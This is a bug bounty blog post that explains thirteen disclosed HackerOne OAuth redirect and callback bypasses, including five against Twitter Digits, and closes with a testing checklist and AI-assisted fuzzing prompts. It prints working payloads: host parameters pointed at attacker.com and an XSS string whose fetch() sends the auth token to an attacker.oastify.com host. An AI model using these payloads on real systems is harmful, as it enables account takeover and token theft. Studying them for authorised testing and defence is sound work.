August 3, 2026
The Bug Bounty Playbook: OAuth Callback and Redirect Manipulation
The Bug Bounty Playbook · Part 3.1 of 8. 13 disclosed HackerOne reports. One protocol. Five ways it breaks.

By Abhishek meena
7 min read
30-second version
Twitter's Digits OAuth was bypassed 5 separate times on the same system. Same vendor. Same protocol. Five completely different techniques: a parsing mismatch, HTTP parameter pollution, a regex treated as a string, a missing origin check, and a blank Referer treated as valid. This part mines all 13 OAuth bypass reports in the dataset for the exact techniques, payloads, and root causes, and gives you a testing framework you can run on every OAuth endpoint.
Twitter's Digits was an OAuth-based phone authentication system. It was bypassed 5 separate times.
One researcher appended ;@attacker.com to the host parameter. The server validated periscope.tv. The client parsed periscope.tv;@attacker.com and sent credentials to the attacker.
Another researcher sent two host parameters. The server validated the first. The client used the last. Credentials went to the attacker's domain.
A third registered www.d.gits.co. The validation used String.search(), which treats . as a regex wildcard. The lookalike domain passed validation against [www.digits.com](http://www.digits.com.).
A fourth embedded the Digits bridge iframe from an attacker-controlled page. The bridge trusted the host parameter instead of checking who embedded it.
A fifth suppressed the Referer header with <meta name="referrer" content="never">. The bridge treated the missing Referer as valid.
Five bypasses. Same system. That is not bad luck. That is a pattern. OAuth has more trust boundaries than any other auth mechanism, and every boundary is a place the validation can break differently.
The Digits family: five bypasses, one system
1. Parsing mismatch: the semicolon that broke OAuth
Report #126522 (bounty not publicly disclosed, 126 upvotes). The Digits web authentication validated the host parameter against registered domains. The server accepted both & and ; as parameter delimiters. The client-side parser in popup.js split only on &.
The attacker appended ;@attacker.com to a valid host:
?consumer_key=9I4iINIyd0R01qEPEwT9IC6RE&host=https://www.periscope.tv;@attacker.com?consumer_key=9I4iINIyd0R01qEPEwT9IC6RE&host=https://www.periscope.tv;@attacker.comThe server saw two parameters: host=https://www.periscope.tv (validated, passed) and @attacker.com (ignored). The client saw one: host=https://www.periscope.tv;@attacker.com. The browser parsed this as a URL with authority periscope.tv; and hostname attacker.com. OAuth credentials were POSTed to the attacker.
Root cause: the server and client used different parameter delimiters. The server trusted its own parsing. The client trusted its own parsing. Neither checked the other.
2. HTTP parameter pollution: validate first, use last
Report #114169 (bounty not publicly disclosed, 114 upvotes). Same Digits system. The attacker sent two host parameters:
?consumer_key=...&host=https://www.periscope.tv&host=https://attacker.com?consumer_key=...&host=https://www.periscope.tv&host=https://attacker.comThe validation checked the first host (periscope.tv, passed). The transfer step used the last host (attacker.com). Credentials went to the attacker.
Root cause: the validation and the transfer read different values from the same parameter name. The server assumed they were the same.
3. Regex as string: the lookalike domain
Report #129873 (bounty not publicly disclosed, 616 upvotes). The Digits SDK validated the sender's origin using String.prototype.search():
this.config.get("sdk_host").search(t.origin)this.config.get("sdk_host").search(t.origin)This checks whether the SDK host contains the sender's origin. But search() expects a regex. A string argument is converted to a regex. In regex, . is a wildcard.
The attacker registered www.d.gits.co. Compare to [www.digits.com](http://www.digits.com:):
www.d.gits.co (attacker)
www.digits.com (digits SDK host)www.d.gits.co (attacker)
www.digits.com (digits SDK host)The two . wildcards in the attacker's domain match i and m in digits.com. .search("www.d.gits.co") returns a match. Validation passes. OAuth credentials are sent to the attacker's page.
Root cause: a string comparison function was used where a regex was not intended. The . in the domain became a wildcard.
4. Bridge origin bypass: trust the parameter, not the page
Report #110467 (bounty not publicly disclosed, 92 upvotes). The Digits bridge iframe at digits.com/bridge validated the host parameter against the app's registered domain. But it never checked that the page embedding the iframe was actually from that domain.
Any attacker page could embed /bridge?consumer_key=...&host=https://www.periscope.tv and call getLoginStatus() via postMessage. The bridge fetched the victim's OAuth credentials and posted them back to the attacker's page.
Root cause: the bridge trusted the host parameter (attacker-supplied) instead of verifying the actual embedding page's origin.
5. Blank Referer: no validation is not validation
Report #168116 (bounty not publicly disclosed, 168 upvotes). A later fix added Referer validation to the bridge. If the Referer matched the registered domain, the request was valid. If it did not match, the request was blocked.
But if the Referer was empty, the request was treated as valid. The attacker suppressed the Referer with:
<meta name="referrer" content="never"><meta name="referrer" content="never">The iframe request to /bridge was sent with no Referer. Validation passed. Credentials were returned.
Root cause: "no Referer" was treated as "valid Referer" instead of "untrusted."
Five bypasses. Five different root causes. One pattern: OAuth validation has more trust points than any other auth mechanism, and every trust point is a place where the validation logic can diverge from the usage logic.
When the whitelist is the vulnerability
OAuth systems maintain whitelists of valid redirect targets. The whitelist is supposed to prevent token leakage. In 6 reports in the dataset, the whitelist itself became the attack vector.
6. XSS on a whitelisted redirect domain
Report #3081691 (bounty not publicly disclosed, 212 upvotes, high). Hostinger's login flow at auth.hostinger.com accepted marketing.hostinger.com as a valid redirect target. The marketing subdomain had been rebranded to rankingcoach.com but was still whitelisted. It had a reflected XSS in the redirect_url parameter.
The attacker crafted a single URL:
https://auth.hostinger.com/login/?redirectUrl=https://marketing.hostinger.com/...?redirect_url=x"></a><script>fetch('https://attacker.oastify.com', {method:'POST', body:window.location})</script>https://auth.hostinger.com/login/?redirectUrl=https://marketing.hostinger.com/...?redirect_url=x"></a><script>fetch('https://attacker.oastify.com', {method:'POST', body:window.location})</script>One click. The victim logs in, gets redirected to the marketing subdomain, the XSS fires, window.location (containing the auth token) is POSTed to the attacker. The attacker exchanges the token for a JWT. Full account takeover.
Root cause: the whitelist assumed whitelisted domains were safe. A rebranded subdomain with an XSS was still on the whitelist.
7. Callback locking defeated by a bare path and an open redirect
Report #110293 (bounty not publicly disclosed, 275 upvotes). Periscope's OAuth used callback locking that blocked URLs with schemes (https://, http://) but allowed bare paths. The attacker set callback_url to:
a/../../login?redirect_after_login=https://cards.twitter.com/card_ida/../../login?redirect_after_login=https://cards.twitter.com/card_idThe bare path passed the check. The path traversal reached the login page. redirect_after_login pointed to a Twitter Ads card at cards.twitter.com (a whitelisted subdomain). The card forwarded to the attacker's domain. The OAuth token travelled in the URL fragment, preserved across all redirects. The attacker harvested it.
Root cause: callback locking checked the scheme but not the path. An open redirect on a whitelisted subdomain carried the token to the attacker.
Four more reports in the dataset follow the same pattern: an open redirect on a whitelisted domain leaks the OAuth token.
- #905607 (cs.money, bounty not publicly disclosed, 356 upvotes): triple-slash open redirect
cs.money///attacker.comcarried the token in a fragment. - #206591 (Uber, bounty not publicly disclosed, 142 upvotes): the
stateparameter was used as a redirect path instead of a CSRF token. Modifystate, steal the token. - #202781 (Uber, bounty not publicly disclosed, 424 upvotes): Facebook OAuth
redirect_uriallowedauth.uber.com/login?*. Thenext_urlparameter chained throughlogin.uber.com/logoutwhich redirected based on theRefererheader. - #1544236 (Insightly, bounty not publicly disclosed, 93 upvotes): the
ReturnUrlparameter on the login POST was insufficiently validated. After auth, a single-use token was sent to the attacker's URL.
When the check is UI-only
Report #922456 ($3,000, 257 upvotes, high). GitLab blocked OAuth grants for unverified emails with a UI prompt: "Verify the email address in your account profile before you sign in." But the POST /oauth/authorize endpoint did not enforce the check. The attacker replayed the authorize POST directly in Burp, bypassing the UI prompt. GitLab issued the authorization code. Third-party sites that trusted GitLab's email verification folded the attacker's account into the victim's.
Report #1148364 ($3,000, 135 upvotes, high). GitLab's "trusted" application flag bypassed the OAuth consent prompt. The flag was admin-only, but the "Save application" request was vulnerable to HPP: appending doorkeeper_application[trusted]=0&doorkeeper_application[trusted]=1 set the flag to 1. A trusted app with api scope could be embedded in an <img> tag. The victim's browser silently authorized. No consent UI. The attacker minted an access token for any targeted user.
Root cause: both reports exploited the same assumption: that enforcement in the UI is the same as enforcement on the API. It never is.
The reader should see that the whitelist does not protect the token if any whitelisted domain has a redirect the attacker controls.
AI-ASSISTED TESTING FOR OAUTH
Claude Paste the OAuth flow HTTP requests and ask Claude to find validation gaps:
Here are the HTTP requests from an OAuth login flow. For each request, identify: (1) what parameter the server validates, (2) what parameter the client uses, (3) whether they could differ. Specifically check for: HPP (duplicate parameters), parsing mismatches (& vs ;), regex-as-string bugs (String.search on URLs), and bare-path callback URLs that bypass scheme checks. Output a table of findings.
Cursor Generate a redirect_uri fuzzing script automatically:
Write a Python script that tests OAuth redirect_uri validation. Given a base URL and a valid redirect_uri, test these variations: (1) path traversal ../, (2) parameter duplication (two redirect_uri params), (3) fragment injection #, (4) semicolon injection ;, (5) URL encoding %2e, (6) double encoding %252e, (7) bare path without scheme, (8) triple slash ///. For each, send the request and compare the response Location header to determine if the redirect went to the attacker domain.
What AI does: maps the flow, finds parsing mismatches, generates payload variations, writes fuzzing scripts. What you still do: decide which redirect_uri variations match the target's validation logic, recognise when a bypass is real, and write the report.
The testing framework: 5 questions for every OAuth endpoint
- Does the server and client parse parameters the same way? Send a parameter with ; as a delimiter. If the server splits on both & and ; but the client splits only on &, append
;@attacker.comto a validated host. This is the Digits parsing mismatch. - What happens when you send duplicate parameters? Send two
hostorredirect_uriparameters. If the server validates the first and the client uses the last, credentials go to your domain. This is HPP. - Does the validation use regex on a URL? If the origin check uses
String.search()or.match()with a string argument, register a lookalike domain where . matches characters in the target domain. This is the regex-as-string bypass. - Is every whitelisted redirect domain clean? Check every domain on the redirect whitelist for open redirects, XSS, and subdomain takeover. A whitelisted domain with any vulnerability is a token leakage path. This is the Hostinger and cs.money pattern.
- Is the enforcement on the API or only in the UI? Replay the
POST /oauth/authorizerequest directly in Burp. If the server issues a code despite a UI-only block (email verification, consent prompt), the enforcement is UI-only. This is the GitLab pattern.
Five questions. Every OAuth endpoint. That is the framework.
What is next
OAuth is one protocol. Session cookies are another trust boundary entirely. Part 3b: Session Hijacking and Cookie Theft mines the reports where the attacker did not break the protocol. They stole the session. Subdomain takeover, cookie scope abuse, session fixation, and weak session secrets. The cookie was never checked the way the password was.
Sources
- Twitter/Digits param parsing mismatch (126 upvotes) — hackerone.com/reports/126522
- Twitter/Digits HPP host validation bypass (114 upvotes) — hackerone.com/reports/114169
- Twitter/Digits origin validation regex bypass (616 upvotes) — hackerone.com/reports/129873
- Twitter/Digits bridge origin validation bypass (92 upvotes) — hackerone.com/reports/110467
- Twitter/Digits bridge Referer bypass (168 upvotes) — hackerone.com/reports/168116
- Hostinger 1-click ATO via auth token theft on marketing subdomain (212 upvotes, high) — hackerone.com/reports/3081691
- Periscope OAuth callback hijack via callback locking bypass (275 upvotes) — hackerone.com/reports/110293
- cs.money open redirect to ATO (356 upvotes, medium) — hackerone.com/reports/905607
- Uber open redirect on central.uber.com to ATO (142 upvotes, high) — hackerone.com/reports/206591
- Uber FB OAuth token leak via chained bugs (424 upvotes, high) — hackerone.com/reports/202781
- Insightly returnUrl redirect to phishing ($3,000, 93 upvotes, medium) — hackerone.com/reports/1544236
- GitLab email verification bypass for OAuth grants ($3,000, 257 upvotes, high) — hackerone.com/reports/922456
- GitLab mint OAuth2 access token for targeted user via HPP on trusted flag ($3,000, 135 upvotes, high) — hackerone.com/reports/1148364
- Dataset: reddelexc/hackerone-reports